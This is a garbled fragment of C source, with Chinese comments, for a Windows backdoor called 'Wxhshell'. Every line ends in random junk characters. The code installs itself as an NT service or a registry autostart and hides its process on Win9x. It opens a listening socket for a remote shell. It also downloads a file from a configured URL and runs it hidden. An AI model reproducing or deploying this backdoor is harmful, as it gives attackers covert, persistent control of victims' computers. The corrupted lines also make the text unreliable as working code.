ULONG UniqueProcessId; {!t7[Ctb
ULONG InheritedFromUniqueProcessId; eq(am%3~
} PROCESS_BASIC_INFORMATION; 0j"8@<
}X*Riu7gk
PROCNTQSIP NtQueryInformationProcess; eIRLNxt+v
Ms~{9?
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E;JsBH
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +LM#n#T
bef_rH@`
HANDLE hProcess; Oy U
PROCESS_BASIC_INFORMATION pbi; ~T&<CTh
l&iq5}[n&
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s7Ub@
if(NULL == hInst ) return 0; 6f')6X'x
"#[!/\=?:
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MjlP+; !
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $YN6<5R)
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ),G= s Oo
#wL
if (!NtQueryInformationProcess) return 0; 'EDda
h$4Hw+Yxs]
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h%}/Cmx[
if(!hProcess) return 0;
A);
mEw ~yOW]M
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X.hm s?]
3;S,3
CloseHandle(hProcess); [0"'T[ok
Llr>9(|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +qh[N@F
if(hProcess==NULL) return 0; Ut2y;2)a
H,Z;=N_
HMODULE hMod; r E}%KsZ
char procName[255]; 1pArZzm>
unsigned long cbNeeded; .C 8PitS
f7m%|v!
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B!vmQR*1
IiY/(N+J
CloseHandle(hProcess); dZi"$ g
0TQ$C-%
if(strstr(procName,"services")) return 1; // 以服务启动 (h>-&.`&
cSXwYZDx?
return 0; // 注册表启动 q
Y#n'&
} ?>I;34tL(
I'V4D[H5
// 主模块 0NS<?p~_S
int StartWxhshell(LPSTR lpCmdLine) gbH<]?
{ xlhG,bb7
SOCKET wsl; $GlWf
BOOL val=TRUE; b )B?
F
int port=0; zT!drq: x
struct sockaddr_in door; ]H`1F1=
6@rMtQfI
if(wscfg.ws_autoins) Install(); XUz3*rfs
bD/~eIcWL
port=atoi(lpCmdLine); 5H*\t 7
TWA-.>c
if(port<=0) port=wscfg.ws_port; Z'"tB/=W
:]\([Q+a
WSADATA data; eEuvl`&
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <StN%2WQ1
.&DhN#EN0
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Wf|Q$MHos
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Wk)OkIFR
door.sin_family = AF_INET; 7 @D@ucL
door.sin_addr.s_addr = inet_addr("127.0.0.1"); #"@|f
door.sin_port = htons(port); *MKO
I'
IZpP[hov
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vEJWFoeEFm
closesocket(wsl); 03q5e
return 1; <
jJ
} 3yVMXK
59h)-^!
if(listen(wsl,2) == INVALID_SOCKET) { f|\onHI)>
closesocket(wsl); C{U?0!^
return 1; &5yVxL:
} <g"{Wv: h
Wxhshell(wsl); Y$"O
VC
WSACleanup(); bbE!qk;hEP
U~:-roQ(\
return 0; 17%Mw@+
PGqQ@6B
} Gefne[
5>[u `
// 以NT服务方式启动 ,J+}rPe"sf
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'uBu6G
{ N sXHO
DWORD status = 0; 8WXQOo8
DWORD specificError = 0xfffffff; PvPOU"
,Q
serviceStatus.dwServiceType = SERVICE_WIN32; jIJ~QpNE
serviceStatus.dwCurrentState = SERVICE_START_PENDING; [_k1jHr48N
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pH9VTM.*
serviceStatus.dwWin32ExitCode = 0; \NPmym_6J
serviceStatus.dwServiceSpecificExitCode = 0; `sn^ysp
serviceStatus.dwCheckPoint = 0; 4h|c<-`>t
serviceStatus.dwWaitHint = 0; k>;`FFQU>
HiZ*+T.B
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G?O1>?4C
if (hServiceStatusHandle==0) return; nT7%j{e=L
r>>%2Z-P
status = GetLastError(); IG2r#N|C#
if (status!=NO_ERROR) F3On?x)
{ Te"ioU?.
serviceStatus.dwCurrentState = SERVICE_STOPPED; k\5c|Wq|g
serviceStatus.dwCheckPoint = 0; ~%<X0s|
serviceStatus.dwWaitHint = 0; La`N PY_:>
serviceStatus.dwWin32ExitCode = status; "~sW"n(F_
serviceStatus.dwServiceSpecificExitCode = specificError; >*35C`^
SetServiceStatus(hServiceStatusHandle, &serviceStatus); (A9Fhun
return; 0X6YdW _2X
} +^60T$
TM%|'^)
serviceStatus.dwCurrentState = SERVICE_RUNNING; ]cHgleHQ
serviceStatus.dwCheckPoint = 0; >g1~CEMN#
serviceStatus.dwWaitHint = 0; q'T4w!V(V
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >mwlsL~X
} e"{{ TcNk
hOjk3
k
// 处理NT服务事件,比如:启动、停止 oB(?_No7
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,Vc6Gwm
{ Tp?7_}tRi
switch(fdwControl) oH97=>
{ ,wQ5.U,
case SERVICE_CONTROL_STOP: DhKS
pA
serviceStatus.dwWin32ExitCode = 0; ;`0%t$@-
serviceStatus.dwCurrentState = SERVICE_STOPPED; C0T;![/4A
serviceStatus.dwCheckPoint = 0; (KjoSN(
K
serviceStatus.dwWaitHint = 0; +}Dw3;W}m
{ xQ7l~O
b
SetServiceStatus(hServiceStatusHandle, &serviceStatus); fDv2JdiU
} V5+=e^pa2
return; s}vAS~~2L3
case SERVICE_CONTROL_PAUSE: j'Fpjt"&=
serviceStatus.dwCurrentState = SERVICE_PAUSED; <sb~ ^B
break; ZgTW.<.%2
case SERVICE_CONTROL_CONTINUE: {'7B6
serviceStatus.dwCurrentState = SERVICE_RUNNING; - YEZ]:"
break; 8V'~UzK
case SERVICE_CONTROL_INTERROGATE: V(H1q`ao9
break; )}Hpi<5N
}; Ua:}V n&!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^UP`%egR
} &GpRI(OB/+
YL!P0o13r
// 标准应用程序主函数 g];!&R-
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p_RsU`[
{ Wf+cDpK
$0W|26;
// 获取操作系统版本 >FeX<L
OsIsNt=GetOsVer(); Cjn#00
GetModuleFileName(NULL,ExeFile,MAX_PATH); h79}qU
Ouk^O}W6
// 从命令行安装 q}3`|'3
if(strpbrk(lpCmdLine,"iI")) Install(); Kg{+T`
is?{MJZ_
// 下载执行文件 ? >7[7(|
if(wscfg.ws_downexe) { ROH|PKb7
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {:/#Nc$5
WinExec(wscfg.ws_filenam,SW_HIDE); .73X3`P25
} j*|VctM
^um<bWNc
if(!OsIsNt) { T^zXt?
// 如果时win9x,隐藏进程并且设置为注册表启动 ~nmoz/L
HideProc(); &l}^iP'%!
StartWxhshell(lpCmdLine); aC]$k'71
} /2&c$9=1
else LQ@"Xe]5
if(StartFromService()) ;YaQB#GK%
// 以服务方式启动 6fkRrD
StartServiceCtrlDispatcher(DispatchTable); 0CHH)Bku
else 5?f ^Rz
// 普通方式启动 Akq2 d;
StartWxhshell(lpCmdLine); Z%gh3
/!0={G
return 0; =>m<GvQz
}